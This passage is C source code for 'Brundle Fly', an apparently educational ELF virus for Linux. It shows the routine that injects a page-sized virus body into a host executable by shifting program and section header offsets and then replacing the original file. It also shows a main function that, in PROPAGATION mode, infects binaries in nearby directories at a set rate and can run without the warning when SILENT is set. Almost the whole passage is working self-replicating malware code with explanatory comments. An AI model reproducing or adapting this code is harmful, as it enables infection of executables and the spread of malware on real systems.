 * This is done by & (PAGE_SIZE - 1) (similar to a modulus instruction,
 * but shorter).
 */
if (PAGE_SIZE - (virt_start & (PAGE_SIZE - 1)) < virus_length)
    goto error;

/*
 * The file size has been increased, therefore it is necessary to
 * adjust the offset of all following program headers.
 */
for (i++, ptmp++; i < ehdr.e_phnum; i++, ptmp++)
    ptmp->p_offset += PAGE_SIZE;

/*
 * Same goes for the section headers. All section headers after the
 * injected virus have to be adjusted. The section that close to our
 * code has to be increased.
 */
for (i = 0, stmp = shdrs; i < ehdr.e_shnum; i++, stmp++)
    if (stmp->sh_offset >= real_start)
        stmp->sh_offset += PAGE_SIZE;
    else if (stmp->sh_addr + stmp->sh_size == virt_start)
        stmp->sh_size += virus_length;

secstart = ehdr.e_shoff;

/*
 * If Brundle Fly was injected before ALL sections adjust the section
 * offset in the ELF header.
 */
if (ehdr.e_shoff >= real_start)
    ehdr.e_shoff += PAGE_SIZE;

/*
 * Write the patched ELF header and the program headers to our temporary
 * file.
 */
write(dst, (char *) &ehdr, sizeof(Elf_Ehdr));
write(dst, (char *) phdrs, phdrs_len);

/*
 * Set the position in our source file.
 */
position = phdrs_len + sizeof(Elf_Ehdr);
lseek(src, position, SEEK_SET);
```

```
    /*
     * Copy all data from the end of the program headers to the start
     * of the virus.
     */
    copy(src, dst, real_start - position);

    /*
     * Insert the virus. Actually the virus length is below PAGE_SIZE,
     * but we need to write a complete page. If there is junk at the
     * end of virus_data, no problem, noone cares.
     */
    write(dst, virus_data, PAGE_SIZE);

    /*
     * Copy all data from the end of the virus to the start of the
     * section headers.
     */
    copy(src, dst, secstart - real_start);

    /*
     * Write the patched section headers.
     */
    write(dst, (char *) shdrs, shdrs_len);

    /*
     * Now copy the rest to our temporary file.
     */
    position += shdrs_len + secstart - position;
    copy(src, dst, (st.st_size - position));

    close(src);

    /*
     * Rename our temporary file to the host file, set the original mode
     * and ownership. Voila.
     */
    rename(tmp, host);
    fchmod(dst, st.st_mode);
    fchown(dst, st.st_uid, st.st_gid);
    close(dst);

    return 1;
  error:
    return 0;
}

/*
 * This is the main function of Brundle Fly. It is used to receive the
 * argument argv[0] that olds the filename of the source.
 */
int main(int argc, char *argv[])
{
    struct dirent *d;
    int dir, i, count, filename, j;

    char *s0 = "./", *s1 = ".././", *s2 = "../.././";
    char *path_env = "/bin/:/usr/bin/:/usr/sbin/:/usr/local/bin/:./bin/:";
    char *source, *path, *ptr1, *ptr2, *ptr3;
    char dirents[PAGE_SIZE], buf[256];

    source = get_path((char *) argv, buf, path_env);

#ifdef PROPAGATION

    /*
     * If compiled with PROPAGATION, get the current unix time and select
     * either to search the dir ., .. or even ../...
     */
    j = time(0);
    switch (j % 3) {
    case 0:
        path = s0;
        break;
    case 1:
        path = s1;
        break;
```

```
    case 2:
        path = s2;
    }

    if ((dir = open(path, O_RDONLY, 0)) < 0)
        goto error;

    /*
     * Get the directory entries for the selected directory. Only PAGE_SIZE
     * is provided for temporary storage.
     */
    count = getdents(dir, (struct dirent *) &dirents, PAGE_SIZE);
    close(dir);

    /*
     * Allocate memory for our filename.
     */
    filename = brk(0);
    if (brk(filename + 256) < filename + 256)
        goto error;

    /*
     * Perpare several pointers, this is weird code. Since we may not
     * use any data stored in the .data segment, we have to work with a
     * lot of pointers that are stored on the stack.
     */
    ptr1 = (char *) filename;
    d = (struct dirent *) &dirents;

    for (; *path != 0; ptr1++, path++)
        *ptr1 = *path;
    ptr3 = ptr1;

    /*
     * Iterate through the directory and infect a binary with a rate of
     * INFECTION_RATE.
     */
    for (i = 0; i < count && i < PAGE_SIZE && d->d_reclen;
         i += d->d_reclen) {

        if (j % INFECTION_RATE == 0) {

            for (ptr2 = d->d_name; *ptr2 != 0; ptr1++, ptr2++)
                *ptr1 = *ptr2;
            *ptr1 = 0;

            inject((char *) filename, source, ".. ");
            ptr1 = ptr3;
        }

        d = (struct dirent *) (((char *) d) + d->d_reclen);
        j++;
    }
#else
    /*
     * In non-propagation mode, just in fact the file ./host. This is a
     * good way to test the virus.
     */
    inject("./host", source, ".. ");
#endif

#ifndef SILENT
    write(1, "WARNING: brundle-fly infected!\n", 31);
#endif

  error:
    return 0;
}
```